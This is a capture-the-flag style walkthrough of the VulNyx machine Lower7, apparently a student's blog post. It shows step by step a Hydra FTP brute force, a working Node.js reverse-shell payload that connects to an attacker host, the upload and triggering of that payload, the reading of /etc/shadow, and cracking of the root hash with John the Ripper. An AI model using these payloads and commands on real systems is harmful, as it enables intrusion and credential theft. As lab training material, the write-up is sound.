vulnyx low Linux active

Lower-7

May 16, 2026 5 min read

#linux #ftp #nodejs #shadow #privilege-escalation

Overview

A VulNyx machine involving FTP credential attacks, arbitrary file upload, remote code execution through a Node.js application, and privilege escalation through shadow group access.

🎯 Target Information

Platform: VulNyx.com
Machine Name: Lower7
Difficulty: Beginner/Intermediate
Key Vulnerabilities:
- Weak FTP Credentials
- Arbitrary File Upload
- Remote Code Execution (RCE)
- Misconfigured Group Permissions
- Weak Password Hash

🔍 Enumeration

Nmap Scan

First, perform a full port scan against the target machine:

$ nmap -n -Pn -sSV -p-  --min-rate 5000  192.168.29.188
Starting Nmap 7.99 ( https://nmap.org ) at 2026-05-08 03:34 -0700
Nmap scan report for 192.168.29.188
Host is up (0.0013s latency).
Not shown: 65533 closed tcp ports (reset)
PORT     STATE SERVICE VERSION
21/tcp   open  ftp     vsftpd 2.0.8 or later
3000/tcp open  http    Node.js (Express middleware)
MAC Address: 00:0C:29:3D:07:0A (VMware)

Findings

Port 21 → FTP
Port 3000 → Web application running on Node.js

📂 FTP Enumeration

Lets try to attempt anonymous login:

ftp 192.168.29.188
Connected to 192.168.29.188.
220 "Hello a.clark, Welcome to your FTP server."
Name (192.168.29.188:arc): anonymous
331 Please specify the password.
Password: 
530 Login incorrect.
ftp: Login failed
ftp> exit
221 Goodbye.

Anonymous login failed, but the banner leaked a valid username:

a.clark

🔓 FTP Brute Force

Use Hydra to brute-force the FTP password:

$ hydra -l a.clark -P /usr/share/wordlists/rockyou.txt ftp://192.168.29.188
Hydra v9.6 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2026-05-08 03:36:14
[DATA] max 16 tasks per 1 server, overall 16 tasks, 14344399 login tries (l:1/p:14344399), ~896525 tries per task
[DATA] attacking ftp://192.168.29.188:21/
[21][ftp] host: 192.168.29.188   login: a.clark   password: dragon
1 of 1 target successfully completed, 1 valid password found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2026-05-08 03:36:40

Credentials Found

Username: a.clark
Password: dragon

📤 FTP Access

$ ftp a.clark@192.168.29.188
Connected to 192.168.29.188.
220 "Hello a.clark, Welcome to your FTP server."
331 Please specify the password.
Password: 
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> ls -la
229 Entering Extended Passive Mode (|||23452|)
150 Here comes the directory listing.
drwxrwxrwx    2 1000     1000         4096 Oct 13  2025 .
drwxrwxrwx    2 1000     1000         4096 Oct 13  2025 ..
226 Directory send OK.
ftp>

The directory was empty, but writable.

🌐 Web Application Analysis

The web application on port 3000 is running on Node.js.

This suggests the uploaded .js files may be executed by the server.

💣 Reverse Shell Payload

Generated a Node.js reverse shell payload using:

https://www.revshells.com/

Selected payload:

Node.js #2

Payload

(function(){
    var net = require("net"),
        cp = require("child_process"),
        sh = cp.spawn("sh", []);
    var client = new net.Socket();
    client.connect(5000, "192.168.29.56", function(){
        client.pipe(sh.stdin);
        sh.stdout.pipe(client);
        sh.stderr.pipe(client);
    });
    return /a/;
})();

Saved as:

reverseshell.js

📤 Uploading Reverse Shell

Upload the payload through FTP and verifie that it is uploaded:

ftp> put reversshell.js
local: reversshell.js remote: reversshell.js
229 Entering Extended Passive Mode (|||11743|)
150 Ok to send data.
100% |*****************************************************************
226 Transfer complete.
379 bytes sent in 00:00 (207.81 KiB/s)
ftp> ls
229 Entering Extended Passive Mode (|||21244|)
150 Here comes the directory listing.
-rw-------    1 1000     1000          379 May 08 18:11 reversshell.js
226 Directory send OK.
ftp>

The “put” command uploads a single file from your local computer to the remote server.

🎧 Netcat Listener

Start a listener on the your local machine:

nc -lvnp 5000

🚀 Remote Code Execution

Trigger the uploaded payload through the browser:

http://192.168.29.188:3000/reverseshell.js

On netcat

$ nc -lvnp 5000     
listening on [any] 5000 ...
connect to [192.168.29.56] from (UNKNOWN) [192.168.29.188] 40416

Successfully received a reverse shell.

🖥 Initial Access

Verify Current User

id
uid=1000(a.clark) gid=1000(a.clark) groups=1000(a.clark),42(shadow)

Important Finding

The user belongs to the shadow group, which can read /etc/shadow.

🔑 Dumping Password Hashes

Read the shadow file:

cat /etc/shadow

Root Hash

root:$y$j9T$9VFLJjKZix0Ugj9YsoOCS.$z0FVk.1CCNx/YRzEmwjcz6z4oYqa7YD6QyXd52jxyLD

🔓 Cracking Root Password

By researching the hash format online and verifying with AI/tools, the hash was identified as a yescrypt hash.

To crack the password hash, use John the Ripper with the --format=crypt option:

Use John the Ripper:

$ john --format=crypt -w=/usr/share/wordlists/rockyou.txt hash.txt 
Created directory: /home/arc/.john
Using default input encoding: UTF-8
Loaded 1 password hash (crypt, generic crypt(3) [?/64])
Cost 1 (algorithm [1:descrypt 2:md5crypt 3:sunmd5 4:bcrypt 5:sha256crypt 6:sha512crypt]) is 0 for all loaded hashes
Cost 2 (algorithm specific iterations) is 1 for all loaded hashes
Will run 6 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
bassman          (?)     
1g 0:00:00:51 DONE (2026-05-08 03:44) 0.01937g/s 325.5p/s 325.5c/s 325.5C/s ice-cream..yenifer
Use the "--show" option to display all of the cracked passwords reliably
Session completed.

Password Recovered

bassman

👑 Privilege Escalation

Switch to the root user:

su -

Enter password:

bassman

Verification

id
uid=0(root) gid=0(root) groups=0(root)

Successfully gained root access.

🏁 Flags

Locate Flags

find / -type f -name root.txt -o -name user.txt 2</dev/null
/root/root.txt
/home/a.clark/user.txt

📄 User Flag

cat /home/a.clark/user.txt

9f903b45d270a2d0b95c68**********

👑 Root Flag

cat /root/root.txt

97b79229372dea359415afe**********

🧾 Summary

Phase	Technique
Enumeration	Nmap
FTP Access	Credential Brute Force
Web Exploitation	Arbitrary File Upload
RCE	Node.js Reverse Shell
Privilege Escalation	Shadow Group Access
Credential Cracking	John the Ripper
Root Access	Password Reuse

🚀 Key Takeaways

FTP banners can leak usernames.
Writable upload directories are dangerous when combined with executable environments.
Membership in the shadow group is highly critical.
Weak passwords remain one of the biggest security issues.
Always enumerate group memberships after gaining initial access.

zer0arc4

Cybersecurity Student | Penetration Tester | Aspiring Red Teamer

Documenting my journey through cybersecurity, penetration testing, CTFs, research, and tool development.

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Jun 18, 2026